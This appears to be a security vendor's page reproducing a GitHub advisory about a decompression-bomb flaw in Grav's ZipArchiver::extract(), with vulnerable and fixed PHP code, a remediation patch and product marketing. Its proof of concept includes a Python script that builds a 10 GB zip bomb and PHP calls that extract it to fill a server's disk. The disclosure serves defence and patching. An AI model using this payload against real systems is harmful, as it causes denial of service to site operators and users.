Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

GHSA-928x-9mpw-8h56

MEDIUMFix: getgrav/grav@1c1003c

GHSA-928x-9mpw-8h56 is a medium-severity (CVSS 6.5) CWE-409 vulnerability in getgrav/grav. O3 Security confirms whether GHSA-928x-9mpw-8h56 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits

Published
Sep 2, 2026
Updated
Sep 2, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐘getgrav/grav

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.


Details

Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:

public function extract($destination, ?callable $status = null)
{
    $zip = new ZipArchive();
    $archive = $zip->open($this->archive_file);

    if ($archive === true) {
        Folder::create($destination);

        // Only guards against Zip Slip (path traversal)
        for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
            $name = $zip->getNameIndex($i);
            if ($name !== false && !$this->isSafeEntryPath($name)) {
                $zip->close();
                throw new RuntimeException(...);
            }
        }

        // Extracts EVERYTHING — no size, count, or depth limit
        if (!$zip->extractTo($destination)) { ... }

        $zip->close();
        return $this;
    }
}

What's missing vs Installer::unZip():

ProtectionInstaller::unZip()ZipArchiver::extract()
Zip Slip guard
Max uncompressed size✅ (1 GiB)
Max file count✅ (50000)
Max nesting depth✅ (48)
Pre-extraction validation✅ All entries validated first❌ Extracts immediately

The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):

// GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk.
$limits = $this->archiveLimits();
$size = $count = $depth = 0;

for ($i = 0; $i < $numFiles; $i++) {
    $entryName = $zip->getNameIndex($i);
    // Check size, count, and depth BEFORE extracting anything
    if ($limits['maxSize'] > 0) { $size += $entry['size']; }
    if ($limits['maxDepth'] > 0) { ... }
    if ($limits['maxFiles'] > 0) { $count++; }
    // Reject if any limit exceeded
}
// Only now: $zip->extractTo($destination);

None of this validation exists in ZipArchiver::extract().

Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.


Proof of Concept

Step 1 - Create a zip bomb

# Create a 10 GB zip bomb (42 kB compressed)
python3 -c "
import zipfile, os
z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIP_DEFLATED)
zeros = b'\x00' * (1024 * 1024 * 1024)  # 1 GB of zeros
for i in range(10):
    z.writestr(f'file_{i}.txt', zeros)
z.close()
"
ls -lh /tmp/zipbomb.zip
# Output: 42K /tmp/zipbomb.zip  →  expands to 10 GB

Step 2 - Extract via ZipArchiver

$archiver = Archiver::create('zip');
$archiver->setArchive('/tmp/zipbomb.zip');
$archiver->extract('/tmp/extracted');  // ← no limits, fills disk

The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).


Impact

Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.


Remediation

Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():

public function extract($destination, ?callable $status = null)
{
    $zip = new ZipArchive();
    $archive = $zip->open($this->archive_file);

    if ($archive === true) {
        Folder::create($destination);

        // Apply the same archive limits as Installer::unZip()
        $limits = $this->archiveLimits();
        $totalSize = 0;
        $totalFiles = 0;

        for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
            $name = $zip->getNameIndex($i);
            if ($name === false) continue;

            // Zip Slip guard (existing)
            if (!$this->isSafeEntryPath($name)) {
                $zip->close();
                throw new RuntimeException(...);
            }

            // Decompression bomb guards (NEW)
            $stat = $zip->statIndex($i);
            $totalSize += $stat['size'] ?? 0;
            $totalFiles++;

            $depth = count(explode('/', trim($name, '/')));
            if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) {
                $zip->close();
                throw new RuntimeException('Archive exceeds max nesting depth');
            }
        }

        if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) {
            $zip->close();
            throw new RuntimeException('Archive exceeds max uncompressed size');
        }
        if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) {
            $zip->close();
            throw new RuntimeException('Archive exceeds max file count');
        }

        if (!$zip->extractTo($destination)) { ... }
        $zip->close();
        return $this;
    }
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistgetgrav/gravall versions2.0.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update getgrav/grav to 2.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-928x-9mpw-8h56 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-928x-9mpw-8h56 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-928x-9mpw-8h56. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `ZipArchiver::extract()` lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class. --- ## Details **Vulnerable
O3 Security · Impact-Aware SCA

Is GHSA-928x-9mpw-8h56 in your dependencies?

O3 detects GHSA-928x-9mpw-8h56 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-928x-9mpw-8h56: getgrav/grav Path… | O3 Security